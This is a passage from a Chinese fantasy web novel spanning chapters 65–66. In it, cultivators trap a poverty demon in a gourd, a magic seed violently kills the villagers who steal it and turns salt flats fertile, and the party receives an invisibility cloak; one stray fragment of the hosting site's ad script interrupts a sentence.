宋胡缨反应迅速,向后一跃,瞬间躲开了。贫穷被巨雷击中了,浑身痉挛着落在地上。它向前蠕动了几下,又是三道巨雷落了下来,把它的身体打的四分五裂。它费了半天力气才把身体聚拢起来,又是一道雷劈了下来,贫穷发出一声惨叫,终于承受不了了。 伏顺倒抽了一口气,道:“五雷轰顶,云哥厉害啊!” 步云邪轻轻一拂衣袖,道:“还好。” 贫穷瘫在地上,哇地一声吐出了一块茶色的小石头。它浑身发着抖,恨声道:“你们这些黄口小儿,不知天高地厚……本座刚从沉睡中苏醒,等我完全恢复了,看我……” 李玉真悄悄拔开了葫芦塞子,道:“看你复仇大计是吧,你叫贫穷是么?” 它虽然十分狼狈,却又端着面子,道:“正是本座,只要还有人呼唤吾名,我就永远存在——” 它话音未落,身体忽然变成了个小黑点,嗖地一下子被吸入了紫金葫芦里。李玉真连忙盖上了塞子,将自身的灵力灌注在葫芦上。里头传来咚咚咚一阵敲打声,一股细如蚊蚋的声音怒骂着:“小贼,敢暗算本座,放我出去,放了我——” 紫金葫芦嗡嗡直颤,里头的灵力如同炼妖炉一般,十分强烈。过了没多久,它挣扎的力量渐渐微弱下去,终于听不见了。 李玉真得意一笑,晃了晃葫芦道:“别人叫你别随便答应,下次记得啊。” 伏顺没想到这法宝还真有效果,惊讶道:“它死了么?” 李玉真道:“这玩意死不了吧,只要还有人在,它就会存在。” 段星河把剑收了起来,道:“这应该是它无数个分身之一,就算这个死了,别处也照样会滋生出贫穷来的。” 伏顺失望道:“那咱们费这么大劲有什么意义?” “当然有意义,”步云邪道,“打扫完屋子还会脏,难道你就不打扫了?” “他从来都不打扫房间。”赵大海道,“你该问他,反正吃了总会拉出来,难道就不吃饭了么?” 伏顺捂着头,道:“懂了懂了,反正值好几百两呢,有钱赚就行了。” 段星河弯下腰,捡起了那块茶色的碧玺,在袖子上擦了擦,道:“又一块。” 宝石在夕阳中泛着淡淡的光芒,坚硬剔透,十分漂亮。步云邪奇怪道:“这到底是什么东西,怎么每个大妖的肚子里都有一块?” 段星河摇了摇头,也答不上来。但本着战利品不捡白不捡的原则,他把碧玺装进了腰包,跟其他几块碧玺收在了一起。这一番折腾下来,他们都很疲惫了,所幸战胜了妖物。 赵大海去山洞里转了一圈,没发现什么特别的东西。他弯腰捡起了一张毛毯,把张琼花的尸体包了起来,道:“回去交差吧。” 65.琼娘娘 七 一行人去跟村长交了差,村长没想到他们办事这么利索,上午刚答应下午就办成了。他激动的两只手都在发抖,连声道:“还是道长们有本事啊,要是知道你们这么厉害,早就求你们帮忙了!” 张琼花家里早就没有人了,把她的遗体带回来也没人认领。段星河道:“不用客气,这尸体你们自己看着处理吧。” 村长小心翼翼道:“它不会再诈尸吧?” 虽然真正的妖怪在李玉真的葫芦里,但村民们需要一些仪式感才能安心。段星河明白他们的心态,道:“我们已经处理好了,不会有威胁了。不放心你就烧了吧,用桃木和松枝点火能驱邪。” 村长连连答应,段星河道:“明天一早我们改造土壤,需要的东西辰时之前准备好,地方就选在村口那片盐碱地上,你们觉得怎么样?” 村长对他已经十分信服了,道:“祭品都准备好了,我们都听小道长的。” 段星河道:“还有一事。” 村长道:“什么?” 段星河动了动手指头,村长明白过来,连忙道:“钱已经凑好了,四百两您笑纳。” 他说着,让儿子拿出了一个花布包袱,里头都是白花花的银锭子。段星河十分满意,示意赵大海把钱接过去,他道:“那我们先回去了,明天一早再见。” 村长送他们出了门,松了口气,脸上也有了笑容。他儿子道:“要这么多钱,也太狠了吧。” 村长道:“能把问题解决了就行,这是天上派给咱们的救星,你就知足吧。” 冯大壮看着头顶的天空,感觉好像是没有从前那么压抑了。妖气一除,大家都神清气爽,以后的日子应该会渐渐好起来了。 众人回到了李家的废墟,结香见他们回来了,十分激动。她上前道:“你们没事吧,我看见天上打了好几道雷,把地都震的一个劲儿打颤。” 那些雷电正是步云邪召来的,他一脸淡定地站着,好像事情跟自己没关系。 段星河道:“已经解决了。明天祭祀一下就走了,你准备好了么?” 结香早就想离开这里了,点了点头。段星河身上一个劲儿地发痒,道:“那有劳你做点饭,再烧些水来,我们要洗澡。” 结香轻轻一笑,道:“段公子不必这么客气,以后要我做什么,只管吩咐就行了。” 宋胡缨从外头大步过来,一边抓着胳膊道:“先洗澡,我受不了了!” 结香有点奇怪,道:“大小姐,怎么了?” 宋胡缨被咬的浑身都是疙瘩,烦躁的不行,道:“那琼娘娘放跳蚤咬人,赶紧想想办法,怎么弄掉它!” 步云邪道:“没事,我来。” 他找来了墨墨,道:“好孩子,药师柜还在么?” 墨墨下午在家跟小对眼陪着结香,此时精神头好得很。它张开大嘴,在院子里吐出了一个巨大的药师柜,上面满是盛药草的抽屉。步云邪抓了几把何首乌、百部、茯苓、鸡血藤、透骨草,拿到厨房煎成一大锅,对众人道:“用这个洗澡,脱下来的衣服用开水烫。” 段星河搭了个帐篷,从行李堆里找出了大木盆,道:“宋姑娘先洗吧。” 宋胡缨道了声多谢,进去泡了半个时辰,换上了一身干净衣裳,感觉终于好多了。 其他人陆续去洗了澡,结香在外面拿了个锅,给他们把衣服用热水烫了一遍,晾在了院子里。她一向任劳任怨的,干这么多活也不觉得辛苦,反而觉得能帮上忙很高兴。 伏顺最后一个洗完澡,擦着头发出来,发现屋里热气腾腾的,已经摆上饭了。 桌上有炒鸡蛋、笋干炒腊肉、醋溜白菜,还有一大碗冬瓜汤。他连忙挤过去道:“有我的没有?” 结香给他盛了一碗糙米饭,道:“等着你呢。” 伏顺的心里顿时熨帖起来,觉得队伍里多了这个姑娘,有人忙活后勤,大家的日子都过得舒服多了。 吃完了饭,众人把废墟收拾了一下,铺上了睡袋,打算凑合过一晚上。 段星河他们住在客房里,宋胡缨跟结香睡在主屋,夜里虽然有点寒风,但也比在外面露宿好多了。 宋胡缨睡到半夜,就听结香喃喃道:“你胡说……他们不会扔下我的,他们会回来的!” 宋胡缨的心微微一动,意识到结香很怕自己这些人一去不回。结香在梦里挣扎了一阵子,眼角涌出了泪水。宋胡缨有点心疼,坐起来拍了拍她,道:“结香,醒醒。” 结香猛地睁开了眼,这才发现自己已经泪流满面了。梦中的她心里充满了绝望,醒来时那种痛苦才渐渐消散。宋胡缨低头看着她,道:“怎么了,做噩梦了吗?” 结香静了许久,这才意识到自己做了一场梦。宋胡缨安慰道:“没事了,都过去了。” 外头还是深夜,结香不想耽误她休息,低声道:“我没事,小姐,你睡吧。” 看这个情形,结香根本没法合眼。宋胡缨想了一下,蹑手蹑脚地去了隔壁。屋子都烧坏了,连个门也没有,墨墨窝成一团,正在赵大海身边睡觉。宋胡缨悄悄地把它抱了起来,墨墨睁开了黑豆眼,奇怪地看着她。 宋胡缨小声道:“嘘,帮忙来吃个噩梦。” 墨墨动了动耳朵,表示明白。宋胡缨抱着它来到了自己屋里,把墨墨放在结香身边,道:“它能辟邪吃噩梦,听过貘的传说吧。” 彼时的屏风和小孩儿的枕头上,常会绣貘来免除夜啼。结香稍微松了口气,点了点头。 宋胡缨钻回了睡袋里,道:“有事喊我。” 屋里静悄悄的,结香渐渐睡着了。墨墨张开了嘴,把一道黑气从她的眉心里吸出来,片刻又把一道白光注入到她的意识中。 结香的眉头渐渐舒展开了,这回她做了一个好梦。恍惚中,她见到了小嫂子,或者说是她没能长大的姐姐。她穿着漂亮的新衣裳,头发梳得光洁整齐,好像已经去了好人家,过上了好日子。 结香不知道她要做什么,忍不住往后退去,道:“你别过来。” 小嫂子道:“妹……你别怕。我其实很羡慕你,虽然是个女孩儿,却能长这么大。你既然替我活下来了,那就一直好好活下去吧。” 她把手伸过来,递给她一包东西,道:“这是娘给我的,你拿着吧。” 天亮了,结香睁开了眼,怔怔地回想着梦里的情形。宋胡缨也醒了过来,道:“没再做噩梦吧?” 结香摇了摇头,宋胡缨便轻轻地笑了。她去外头洗漱回来,见结香的枕边放着一个红纸包。她道:“这是什么?” 她这么一说,结香也才发现那个纸包。她打开来一看,却见是母亲的金耳环。这是李亮成亲时,母亲把它作为聘礼送给小嫂子的,是她拥有的唯一一件值钱的东西。 结香霍然抬起头,看着四周,仿佛要找到什么看不见的东西似的。宋胡缨道:“怎么了?” 结香握紧了金耳环,喃喃道:“她真的来过。” 宋胡缨感觉这屋里是有一股阴森之气,但已经快要消散了。她道:“你嫂子?” 结香没说话,整个人仿佛沉浸在幻觉和真实交错的世界之中,不知道什么是真的,什么是假的。 太阳照进来,漫漫长夜结束了,自己可以离开这里了。结香戴上了耳环,仿佛要把所有的过去抛在脑后似的,长长地吐出一口气。 她的眼神恢复了平静,看向宋胡缨,道:“我梦见她跟我说,让我好好活下去。” 宋胡缨温声道:“我们都是你的家人。” 结香点了点头,认真道:“小姐,我一定会好好服侍你的,千万别抛下我。” 宋胡缨轻轻一笑,道:“怎么会不要你。说好了嘛,咱们一直在一起。” 上午辰时,村长准备好了三牲和香烛,在村口的盐碱地上摆起了祭台。 村民们远远地看着这边,有人对他们半信半疑的,道:“行不行啊?” 又有人道:“这些小道长厉害得很,昨天那五雷轰顶你没看见啊,就是他们召来的。” 另一人道:“可不是,琼娘娘的身体都被劈成焦炭了,人家是有真本事的。” 步云邪穿着祭祀的法袍,点燃了香,虔诚向稷神祷告,祈求它赐福改变这片土地。 他周身涌起了淡淡的灵光,发丝在风中微微飘动。周围的村民十分惊讶,意识到这些年轻人确实道法了得,看他的目光充满了敬畏。 片刻步云邪拿起锄头,在土地上刨了个坑,从水晶瓶中取出了五色神种。众人望见那颗种子放出了五光十色的光彩,忍不住睁大了眼睛,想要看的更清楚一些。 有人低声道:“这玩意儿挺值钱的吧?” 另一人道:“听说村长花了不少钱买的呢,都有四五百两吧。” 众人你看看我,我看看你,都对那颗种子充满了兴趣。 村长的儿子听见了,提醒道:“别打歪主意啊,这是咱们全村的希望。只要它发芽了,这方圆百里的盐碱地,就都变成能耕种的好土了!” 其他人低声道:“那可不得好好保护起来,这可比咱们的命还重要了!” 步云邪把五色神种深深地埋进土里,浇上了水,仪式就完成了。 村长十分期待,上前来道:“这样就好了?” 步云邪道:“好了。” 村长道:“多久能有效果?” 步云邪道:“等它吸收足够的水和养分吧,如果能发芽就成功了。” 村长有些意外,道:“这么贵的东西,难道还不能保证一定能成?” 步云邪贴了一百二十两银子还没人给自己补上呢,村长倒是嫌起贵来了。他微微一笑,道:“你着急啊,用人牲祭祀,成功的可能会更大一些。” 村长顿时沉默了,有点害怕起来。步云邪吓唬完了他,心情稍微好了一些。段星河过来道:“保护好这颗种子,我们等会儿就走了。” 村长十分诧异,道:“啊,你们不等着它长出来了?” 段星河道:“我们在这里耽搁太久了,也该离开了。” 村长觉得有点可惜,但这地方穷成这样,没有人愿意留下来。他道:“那好吧,祝你们一路顺风。” 段星河点头道:“好,有缘再会。” 众人收拾了东西,驾着大车缓缓离开了小浔村。结香坐在车里,显得有点拘谨。伏顺和李玉真坐在她对面,角落里堆着他们做饭的大锅、帐篷和一些杂物。 伏顺把自己腌咸鸭蛋的坛子往座位底下塞了塞,道:“车里有点挤,你习惯了就好了。” 结香道:“没事,挺好的。” 她说着推开车窗,回头往后看去。穿过狭窄的山道,他们渐渐把小浔村抛在远处了。这是结香头一次离开这个村子,也是最后一次看到它了。虽然不知道前路会怎么样,就算死在外面,也比在这里过一辈子要强的多。 结香闭上了眼,靠在大车里,想起了那个梦。梦中的姐姐望着她,眼神伤感,又有些羡慕。结香知道自己不止是一个人,连带着没能长大的姐姐的份,她要一起好好活下去。 村长让人轮流守卫,保护着那片土地。白天村民们从那边走,探头探脑地张望,对那颗种子十分好奇。民兵们接连守了两天,土地一点动静也没有。 村口有几个人聚在一起打牌,都是村里有名的闲汉,凑在一起就没好事。一个麻脸汉子道:“你说这都好几天了,怎么一点反应也没有。村长该不会是被他们骗了吧?” 一个驼背道:“我见那些道士把雷召来了,连琼娘娘的尸体都带回来了,还能骗人么?” 村长已经带人把张琼花的尸身烧掉了,把骨灰深深地埋在了地下,彻底解决了这个祸患。村民们都去围观了,之前步云邪祭祀稷神,他们也去看过,觉得十分神妙。一个瘸子道:“那种子跟宝石一样,自己会发光,我亲眼看见了。” 麻脸汉子摸着下巴道:“那就是真宝贝了。你说咱们要是趁着它还没发芽,挖出来卖了,不就发达了?” 另外几人跟他面面相觑,都有点动心。一个瘌痢头道:“那这里的其他人怎么办?” 驼背嫌他憨似的,轻蔑道:“你管他们呢,卖了钱咱们兄弟分了,离开这里过好日子去。你还想在这破地方待一辈子呢?” 他们确实都在这里待够了,众人望着不远处的民兵,有些蠢蠢欲动。瘸子道:“他们手里可都有刀啊,咱们怎么办?” 一个瘦子眼睛一转,低声道:“想点办法嘛……我家有点熏耗子的迷烟,往脸上一喷,神不知鬼不觉就把人放倒了。咱们今天晚上过来试试,怎么样?” 说话的这人最擅长偷鸡摸狗,手里有不少下三滥的东西。其他人觉得法不责众,反正这么多人参与,村长就算知道了也拿他们没办法。 众人约好了,当天夜里蒙着脸悄悄潜了过来。一人含着根竹管,朝守卫那边一吹,夜风把迷烟送了过去。几个民兵感到一阵眩晕,摇晃了几步,道:“怎么回事?” 有人吸入的多一些,已经倒了下去。其他人握紧了大砍刀,却也支撑不住,接二连三地倒在了地上。那几个村民十分兴奋,从暗处涌了出来,冲到埋下那颗种子的地方,迫不及待地用镐子扒了起来。 几个人扒了三尺左右,终于找到了那颗种子。它还没有发芽,在泥土中放着淡淡的光芒,显然是一件神物。众人兴奋得两眼放光,纷纷道:“找到了,让我看看,给我看看!” 那瘦子把种子抢过去,道:“我来保管,卖了大家一起分钱!” 驼背夺过了种子,把他推了个跟头,道:“凭什么让你保管,你私吞了怎么办!” 那瘌痢头粗声道:“我看你才想独吞,快把种子放下,谁也不准动!” 一帮穷汉贪婪地盯着五色神种,推来搡去的,冲突越来越狠。夜色中,就见那些人像恶鬼一样,互相殴打撕咬,模样十分狰狞。混乱中,那瘌痢头被踢到了一边。他怒吼一声,抄起一把民兵掉落的大刀,朝瘦子砍了过去。 那瘦子被他砍翻在地,连惨叫声都没来得及发出就断了气。他又举着刀砍伤了那麻脸汉子,喘着气,恨声道:“让你们跟我抢……这宝贝是我的!” 他颤抖着捧起了那颗种子,十分激动,道:“我要发财了,我要发财了!” 驼背和瘸子互相使了个眼色,同时扑了上去。一个人勒住了他的脖子,另一人压在了他的身上,吼道:“把种子交出来!” 瘌痢头被按在地上,眼看种子掉在了面前。他自己得不到,也不能便宜了其他人,张嘴一口把种子吞下了肚,放声大笑道:“老子就不给你,你能拿我怎么样,哈哈哈哈哈!” 那两人十分愤怒,伸手抠他的嘴,道:“吐出来,快给我吐出来!” 这时就听一人哑声道:“都让开——” 那两人回过头去,就见麻脸汉子手里提着一把刀,摇摇晃晃地从血泊里爬了起来。他把大刀猛地斩下来,将那人的肚子剖开了。瘌痢头惨叫了一声,鲜血像泉水一样涌了出来。种子在他肚子里浸润了鲜血,光芒陡然炽盛起来。 那几个人想把种子掏出来,却见那颗种子生出了密密麻麻的根须,穿透了死人的身体,向下深深地扎住了根。与此同时,它以肉眼可见的速度长出了嫩绿的叶子,生出了粗壮的藤蔓。 那株藤蔓越长越大,渐渐变得有一人多高,盘踞在盐碱地上,就像一条绿色的巨蛇。 几个人简直不敢相信自己的眼睛,一人道:“我的妈呀,这东西长得这么快?” 它身上布满了繁密的叶子,嫩红的须子伸出来,密集地指向了他们。驼背往后退了一步,低声道:“它什么意思?” 那棵植物要处决这些冒犯自己的人一般,猛地刺穿了一人的身体。那驼背惨叫了一声,身体不住痉挛。它缓缓地拔出了须子,又转向了其他人,枝叶上还往下滴着鲜血,微微勾了起来,仿佛在问他们,谁想当下一个? 那几个人都吓傻了,连滚带爬地向前逃去。那株植物追在他们身后,像游蛇一样,动作十分迅捷。它的须子卷起一个人扔到了天上,像玩皮球一样抛起来,又接住。那人被摔得头昏脑涨,嘶声惨叫道:“救命啊啊啊啊——” 藤蔓玩够了,把他狠狠往地上一摔。那人的脑袋先着地,头骨摔得粉碎,脑浆顿时涌了出来。无数根须爬过去,吸吮乳汁一般吸着他的脑浆,长得更加壮大了。 与此同时,巨藤向四面八方伸出触须,把另外 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 几个来偷种子的贼人一一抓了回去。有人被它勒成了两截,有的被它开膛破腹。惨叫声不断传来,那一毛不生的盐碱地成了它的取乐之地,也成了那几个人的屠宰场。 鲜血浸透了那片贫瘠的土地。这些人来之前,无论如何也想不到,自己的血肉会成为滋养这片土地的养料。 一个民兵苏醒过来,看着那边地狱一般的情形,吓的动弹不得。另一人看的眼都直了,喃喃道:“人牲祭祀……它长出来了!” 植物的根须吸收了大量的血肉,获得了足够的养分,迅速地抽枝长叶,结出了金黄饱满的穗子。大量的种子落了下来,跟之前的那颗种子一样,吸收着土地里的血肉,深深地扎下根须,发出了更多的绿芽,结出了穗子。 风一吹,种子散播的方圆百里都是。温柔的光芒散发出来,把砂砾融化成了细碎的土壤,将白花花的盐碱地变成了肥沃的黑土地。 那些植物忙碌了一夜,完成了自己的使命,悄然枯萎了,将最后一点营养还给了大地。那几个来偷种子的贼人已经被吞噬的尸骨无存了,值夜的民兵还活着,却也吓得不轻。 天亮了,村民们注意到了这边的动静,过来查看,却见那困了他们几百年的盐碱地,悄然变成了他们做梦都想要的黑土壤。村里的老人老泪纵横,颤声道:“真的变了……太好了,我们有救了!” 一个小女孩儿跑过来,欢声喊道:“能种地了!能长粮食了!” 她赤着脚踩在厚实柔软的土地上,发出了咯咯的笑声。年轻的母亲跪在地上,抓起一把黑色的泥土,喜极而泣。女人迎着灿烂的朝阳,心中充满了欢喜——这是她有生以来,头一次对未来生出了希望。 大车行驶在路上,离开了小浔村,大家的心情都格外轻松。 他们来到了上次经过这里时的营地,段星河等人忙着扎帐篷,结香和赵大海煮饭。伏顺道:“大傻,你来扎帐篷吧,结香做的饭比你做的好吃。” 赵大海攥着大勺,仿佛捍卫着他的尊严,不满道:“你这没良心的,之前我做了那么久,你怎么不嫌弃?” 那时候没人做饭,有的吃就不错了。现在有的挑,伏顺当然想吃好的。结香不想一来就抢了别人的活儿,道:“我打打下手就行,还是大海哥做的好吃。” 伏顺哼了一声,小声道:“他就会做玉米粥,要不然就是一锅乱炖,跟煮猪食似的。” 段星河觉得他多少有点没良心了,道:“你差不多行了,猪食你还吃的最多。” 李玉真扎完了帐篷,站起来擦了一把汗,低头看了一眼腰间扑棱棱乱动的葫芦。他过去跟段星河道:“这里头的穷鬼怎么办?” 段星河道:“都关了好几天了,它还不老实么?” 李玉真道:“有时候折腾两下,把我的葫芦都打裂纹了。” 他把法宝递给段星河看了一眼,上面果然有些细微的痕迹,跟蛛丝一样。段星河记得这葫芦值二百两,起码得能用个一年半载的,没想到才一次就报废了。他觉得有点坑人,道:“这也太脆弱了吧?” 李玉真也觉得自己家里人做的东西有点偷工减料,道:“越级抓妖都这样。我觉得咱们最好找个地方把它埋了,反正它已经受重伤了,三五年之内都成不了气候。” 这种妖怪与人性的罪孽相连,没办法根除。反正它肚子里的存货已经吐出来了,也没什么用了。段星河一时没想好往哪儿埋,道:“等会儿吃完饭再说。” 片刻饭做好了,众人围在大锅边,赵大海拿着勺子给大家盛饭。这时就见前头路上来了一队人。步云邪用胳膊碰了碰段星河,道:“你看,是刘正阳他们么?” 那些人穿着钦天监的制服,骑着高头大马,显得十分威风,跟这乡野荒僻之地格格不入。后头还跟着一辆车,拉着他们的辎重。 夕阳的光照在其中一人的身上,把他往里凹陷的脸型映的格外显眼。好一阵子没见,差点把他们给忘了。段星河意外道:“哎,还真是他们。” 伏顺叼着一条咸鱼干,从牙缝里道:“这些人属乌龟的,怎么才走到这里啊?” 步云邪想起了之前刘正阳从屋顶上摔下去,脑壳先着地的事,道:“他不是摔着头了么,一直在客栈养伤吧?” 眨眼间,那些人来到了近前。最前头的人果然是李如芝,他身边跟着刘正阳、于九和张掖,身后还有一群黑衣侍卫。 李如芝勒住了马,看着他们野炊,皮笑肉不笑地道:“我还以为是谁呢,原来是步大人啊。你们要在这里过夜?” 步云邪淡然道:“是啊,李司正还要赶路么?” 李如芝不想跟他们一起扎营,道:“趁着还有天光,我们再往前走一阵子。” 他端详着众人,道:“半个多月没见,你们可是清减了不少,怎么没吃好饭么?” 段星河他们在小浔村里住了这段时间,有口吃的就不错了,还东奔西跑的,简直要瘦的跟当地人一样了。他道:“最近路上颠簸,有点辛苦。大人从小浔村过来,见那边的土地如何?” 李如芝没注意,道:“什么如何,不是跟别处一样么?” 他若是没有印象,说不定就是土质已经改善了。毕竟原来那大片白花花的盐碱地,见过的人都难以忘记。步云邪低头看那几匹马的蹄铁,见上面没有沾上盐碱,反而有些黑色的泥土。他心中一喜,悄然一指马蹄道:“你看。” 段星河也注意到了,知道那颗五色神种已经发挥了作用,那大几百两总算没白花。他心中一轻,露出了笑容。刘正阳大病初愈,本来没心情说话,一见他高兴了,自己心里顿时烦躁起来。 他道:“你们怎么这么久才到这里,难不成为陛下办差偷懒了?” 这人狗嘴里就吐不出象牙来,一开口就要刁难人。段星河不惯着他,道:“你们不也才到这里么?” 刘正阳道:“我是在养伤,你干什么了?” 说起来太麻烦,段星河敷衍道:“就是遇上了一些波折,已经解决了,没事。” 李如芝看他们遮遮掩掩的,怀疑他们悄悄吃独食。他扫视了他们一遭,端然道:“那你们有什么收获没有,本官来帮你们呈交给陛下。” 段星河的目光微动,忽然想到了什么,道:“啊……这不好吧?” 他这么说,刘正阳便睁大了眼,道:“你真有?快点交出来!” 段星河显得有些为难,道:“属下抓了个小妖,关在紫金葫芦里,只要炼化七七四十九天,便能制成延年益寿的金丹。这么好的东西,我等自然是不敢独吞,只是……” 李如芝被他勾的心痒难耐,欠身道:“只是什么?” 段星河道:“只是这妖物的脾气桀骜不驯,我怕它冲撞了大人。” 反正都已经收在葫芦里了,也没什么好怕的。李如芝一心贪功,只怕他不给自己,道:“无妨,本官的修为高深,自然能把它治的服服帖帖的,给我吧。” 段星河心悦诚服道:“是。” 他一示意,李玉真便心领神会,双手捧着把紫金葫芦递了过去。李如芝接过了葫芦,觉得他这回还算懂事,道:“很好,等炼化成了丹药,本官必然向陛下上疏,夸奖你的忠义。” 段星河笑得有几分意味深长,行礼道:“那就多谢大人了。” 李如芝把葫芦挂在腰上,满意道:“你们吃饭吧,我们还要继续赶路。” 其他人纷纷道:“恭送大人。” 李如芝一扬马鞭,打马向前奔去,侍卫们跟在他身后,一队人意气风发,在夕阳中渐行渐远。段星河看着他们的背影,冷笑道:“挺好的,就是好不了多久了。” 李玉真揣着袖子,小声道:“段兄,这么做是不是太狠了点啊?” 段星河无所谓道:“有什么狠的,我提醒过他很危险了,是他非得要的嘛。” 伏顺幸灾乐祸道:“就是,让他抢功劳,这叫活该!” 大家都觉得十分兴奋,又有点好笑,已经能想到那个穷鬼给他们捣乱的情形了。 篝火把木柴烧的劈啪作响,细小的火星在空中飘荡,玉米粥散发出浓浓的香气。赵大海回到火堆前,盘腿坐下道:“别管他们了,来吃东西吧,饭都要凉了。” 66.隐身斗篷 一 一行人往前走了两天,来到了之前他们买种子的金雨城。大街上人来人往,十分热闹,大家感受着繁华的气息,渐渐地就把在小浔村的那些不愉快抛到了脑后。 之前受了不少穷,大家都有些怕了。段星河手里还有些盘缠,打算在这里休整一段时间,让大家好好放松一下。赵大海驾着车找到了一间客栈,众人住了下来。 中午众人在大堂点了一桌子菜,有酒有肉,狠狠地吃了一顿。天冷了,不光墨墨和小对眼的毛长厚了,人也得往身上贴点膘。 隔天段星河驾着大车出去,买了些棉衣和补给。回来的路上,他经过驿站,进去问了一声,说自己是钦天监的,有没有从大幽寄来的信。 驿丞寻思了一下,道:“喔,有,你姓段是不是,有个包裹是万通商会的人送过来的,他说你们可能会来这里。” 段星河十分意外,本以为于百川或者朝廷会给自己寄信,没想到钱家的人还惦记着自己。 他接过一个鼓鼓囊囊的包裹,足有脸盆那么大的一个盒子,包的严严实实的,上头写着钱小少爷的名字。段星河有些好奇,拿起来晃了晃,里头没动静,感觉也挺轻的。他道了谢,拿着东西回了客栈。 步云邪正好来找他,道:“干嘛去了?” 段星河怀里大包小包的,让他帮忙拿了一半,一边把屋门拱开道:“我买了几件棉衣,你挑两件,剩下的给伏顺他们送过去。” 步云邪把东西放到床上,拿出了棉衣,都是白色打底的,新棉花很松软,棉布贴在身上也很舒适。就是样式没什么区别,只能挑合身的穿。段星河期待地搓了搓手,打开了包裹,扑面而来的却是一股淡淡的臭气。 步云邪皱起了眉头,道:“什么味道,臭豆腐还是酸菜?” 段星河也觉得奇怪,道:“是钱远志寄来的,不知道是什么东西。” 箱子里灰扑扑的一团,闻起来臭臭的,摸起来软软的。他伸出两根手指把里头的东西捏了出来,却是一件灰色的斗篷,跟丐帮传了十七八代的衣裳似的。那东西不知道是用什么做成的,摸起来又黏又弹,质地好像也不怎么结实。 步云邪皱起了眉头,饶是他见多识广,也看不出来这是什么。 箱子里还有一封信,段星河把衣服放在一边,打开了信。 “段大哥,好久不见,你们好吗?我猜你们要来这里,就让我们商号的人把东西捎过来了。先前你给我的小鸟很有趣,每次我大哥来的时候,我就把它藏到外面的树上。它站直了简直跟树皮一模一样,根本没人看得出来。它现在很好,就是吃的多了点,不过它绒毛褪的差不多了,羽毛也比以前丰满了许多,应该要成年了。” 步云邪凑过来看,想起了他们送给钱远志的那只林鸱,看来它过得不错。他哥的心思缜密,对宅子里的一切都了若指掌。弟弟偷偷养了只宠物,他不至于不知道,应该就是睁一只眼闭一只眼罢了。 “我爹前几天给了我一个斗篷,是用金蚕丝混合着鬼脸蛛的丝织成的。穿在身上不但能隐身,还能隐藏气息。我穿着在院子里转了一圈,一个人都没发现我。那一瞬间我感觉好自由啊,我觉得我好像变成了那只林鸱,一样灰灰的,没人看得到我。不过它会飞,我不行,就算有斗篷,我也没办法翻过院墙。我爹说等我将来考上功名,就能自由自在地生活了。但我想他是在哄我,越往高处走,责任只会越多而已。我大哥知道了这件事不太高兴,说这种奇巧玩意儿耽误读书,要给我收走了。我想着还是送给你们吧,出门在外一定有用的。” 两人看完了信,再看那件臭烘烘的斗篷时,神色顿时就变了。 难怪它又软又弹,原来里头有蛛丝。段星河小心地摸了摸,道:“这玩意儿好像挺容易破的,得小心点穿。” 钱远志还是个十来岁的少年,穿着宽宽大大的,没什么问题。段星河比他壮实多了,穿在身上有点勉强,衣摆垂下来,盖在了脚面上。他道:“怎么样?” 步云邪就见他的身体渐渐在自己的眼前消失了,只剩下一个脑袋飘在半空中,这斗篷还真灵验。段星河往前走了一步,露出了新鲜的表情,脑袋飘来飘去的,显得相当瘆人。步云邪的脸都白了,道:“你把帽子戴上。” 段星河把兜帽戴在了头上,来到了镜子跟前,发现自己的身体完全消失了。他动了动胳膊,又动了动腿,镜子里一片虚无,只照得到身后步云邪的身影。 钱小公子果然够义气,给的回礼实在有趣,应该能派上大用处。这玩意儿虽然有股淡淡的臭味,但很像人群中臭汗和臭脚的气味,穿在身上正好能掩盖自己的气息,在人越多的地方显得越自然。静了片刻,段星河没声了。他完美地融合在了空气中,就像一滴水消失在了湖泊里。步云邪什么也看不到,到处张望道:“星哥,上哪儿去了?” 段星河的促狭心起,悄悄绕到他身后,把手塞进了他后脖领里。冬天手冻的发凉,步云邪骤然缩起了脖子,一把攥住了他的手,道:“让你冰我!” 段星河哈哈地笑了,步云邪摸索着把他头上的帽子掀下去。段星河的脸露了出来,一个脑袋飘在空中,看习惯了也没那么吓人了。步云邪的玩心也起来了,道:“该我了,给我试试!” 段星河便把斗篷脱了下来,步云邪披在了身上,那么大的一个人嗖的一下子就不见了。段星河感到了一阵不安,道:“阿云,你没事吧?” 步云邪笑了,摸了摸他后脑勺,低低道:“在这儿呢。” 段星河转过身去,步云邪又悄悄转到他前头去了,对他做了个鬼脸。段星河什么也看不到,道:“别闹了。” 步云邪没说话,屋门自己开了一道缝,他到走廊上去了。段星河道:“诶,你上哪去,等等我。” 前头的屋门开着,步云邪悄然钻了进去,却见伏顺待在李玉真的屋里,道:“李道长,有空没有?” 李玉真打了个呵欠,道:“刚醒,有什么事?” 伏顺显得有点局促,道:“那个……就是,有没有什么法子,能让人跟女孩子相处顺利一点的?” 有这种好东西李玉真自己就先用了,他还一直不知道该怎么跟宋胡缨相处呢。一想到宋胡缨,李玉真顿时清醒过来,队伍里一共两个女孩子,他该不会是吃了熊心豹子胆,要来抢自己喜欢的人吧。李玉真警惕道:“你相中谁了?” 伏顺挠了挠头,道:“就……结香嘛,我早晨在楼下跟她遇上了,本来想打个招呼。结果没看脚底下,踩了一脚马粪。我没忍住骂了一句娘,然后结香就没理我了。” 李玉真噗嗤一声笑了,人家追女孩子都是忙前忙后的大献殷勤,他迎面而来就是一句臭嘴,人家没打他耳光就不错了。他道:“那你别骂人不就行了。” “改不了,”伏顺十分苦恼,“有时候不过脑子脏话就出来了。我问大海该怎么办,他说我这毛病是从小养成的,让我来找你想个法子。” 李玉真想他骂了十多年,一时半会儿确实改不了,但嘴再臭下去女孩子就都被他熏跑了。他寻思了片刻,从桌上拿过了符纸,沾着朱砂画了两道符,道:“喏,把这玩意儿贴在身上就行了。” 伏顺看着上面弯弯曲曲的符咒,符头像一只展开翅膀的凤凰,上头还带着三点火。他道:“这是什么?” “礼貌符,”李玉真道,“南方主礼,陵光神君保佑的,绝对灵验。” 伏顺眼睛一亮,道:“啊这个好,多谢李道长。” 李玉真勾了勾手指,道:“一钱银子一张,要多少?” 伏顺十分失望,还以为是白给的。他道:“给个友情价,买一送一,反正你画了两张嘛。” 李玉真摆了摆手道:“行吧,一手交钱一手交货。” 